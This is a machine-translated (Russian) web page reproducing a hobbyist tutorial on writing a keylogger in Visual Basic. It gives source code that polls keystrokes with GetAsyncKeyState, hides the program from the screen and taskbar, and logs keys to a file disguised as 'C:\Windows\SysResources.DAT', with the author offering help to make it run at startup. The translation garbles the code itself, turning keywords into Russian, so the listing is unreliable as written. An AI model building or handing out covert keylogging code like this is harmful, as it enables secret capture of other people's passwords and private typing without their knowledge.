This is a machine translation. The original page (in English) is available here.
Окна
Мак ОС
Мобильный

Последние новости: 12 ноября 2016 - мы нашли новый обнаружить клавиатурных шпионов для вас. RSS-канал

Главная>статьи>создание Кейлоггера в VB

AnyKeylogger для Mac

Создание Кейлоггера в VB

Тихая тень

Ок...я предполагаю, что у вас есть общее представление как визуальный основной работы и как сделать программ, отладки и компиляции. Если нет, напишите мне и я смогу помочь.

Во-первых, если Вы не имеете его, получить его. ApiGuide. Скачать ее на http://www.mentalis.org/agnet/apiguide.shtml

Ок. Открываем VB и запуска нового приложения. Добавить в форму кнопку, таймер и модуль(я знаю, что модуль фактически не является частью формы). Вот и все. Изменить название кнопки, чтобы начать запись
(если вы хотите, чтобы он запускался при запуске...в личку мне или напишите мне)
Теперь, используя руководство по API или просто скопировать отсюда, объявить новую функцию. функция GetASyncKeyState

Объявить функцию GetAsyncKeyState либ "библиотека user32" псевдоним "GetAsyncKeyState"
(Как byval vKey как долго) как целое число

^---поставить это в разделе объявлений модуля.

Это все одна строка кода. Убедитесь, что его так. и не делится на 2.

Теперь у вас есть новая функция на использование программы.
ок...
теперь мы должны сделать его "невидимым". Сейчас им жаль, но в Windows XP, я не знаю, как удалить его из раздела "процессы" в диспетчере задач. Но кроме этого...его невидимым.

ОК. В код кнопки..., в событие Click, конечно...
введите следующую

приложение.taskvisible = false в
форма form1.видна = ложь
форма form1.скрыть
таймера1.включен = истина


- а также в разделе свойства формы...изменить shownintaskbar в false

Теперь когда мы нажимаем на кнопку...он становится невидимым.

Теперь нам понадобится несколько переменных....
Назад в раздел объявлений заявляю следующее...

Дим strLetter как строку, strTotal как строку

Теперь в коде Таймер поставить это. Болен позже объясню.
также установить интервал в 1 и Enabled на false

Частная Суб Timer1_Timer()

Для I = 28 До 128

Если GetAsyncKeyState <> 0 Тогда

strLetter = ЧР(я)


Теперь здесь вы можете добавить некоторые вещи
так что вместо того, чтобы показывать
'отсталых персонажей, он говорит вам
что пользователь нажал. Что я имею в виду
если они нажмите Enter/возвращения, он будет
Показывают какой-то странный ящик. Вы не хотите, что
так у тебя выбор я для каждого
кнопка U хотите настроить. Pm мне или электронной почте
'мне за помощью по этой части.


strTotal = strTotal & strLetter


Конец Если

Затем Я

открыть "C:\Windows\SysResources.DAT" для вывода как #1
Печать #1, strTotal
закрыть #1

Конец Подпрограммы


- Конец Кода

Теперь все, что вам нужно сделать, это когда вы хотите проверить нажатия клавиш, откройте C:\Windows\SysResource.DAT в блокноте, и там. Эта программа не будет работать при запуске. Если вы хотите знать, как это сделать, в личку мне, а лучше напишите мне. Я бы предпочел, чтобы вы добавить меня в MSN мессенджер. Моя Электронная почта для посланника... [email protected]
Моя Электронная почта для отправки по электронной почте находится..... [email protected].

Надеюсь, что это помогает!
Вот все кодирование для ламеров...

'Начало

Дим strLetter как строку, strTotal как строки, старого как строку

Частные Command1_Click Югу()
Таймера1.Включен = Истина
Конец Подпрограммы

Частная Суб Form_Load()
Команда1.Заголовок = "Запустить Логгин"
Таймера1.Включено = False
Таймера1.Интервал = 1
Конец Подпрограммы

Частная Суб Timer1_Timer()
Для i = 28 до 128 'код ASCII
Если GetAsyncKeyState <> 0 Тогда
strLetter = ЧР(я)
Конец Если
Если strletter <> Старый тогда
Старый = strletter
strTotal = strTotal и старый
Конец Если
Затем Я
Открыть "C:\windows\SysResources.dat" Для Вывода Как #1
Печать #1, strTotal
Закрыть #1
Конец Подпрограммы

В связи с окончанием

я думаю все кроме модуля конечно.
Прочитать полный текст статьи
Главная>статьи>создание Кейлоггера в VB
Важно! Установка средств мониторинга компьютеров Вы не владеете или не имеете разрешения для монитора может нарушить местным, государственным или Федеральным законом.
Предложить перевод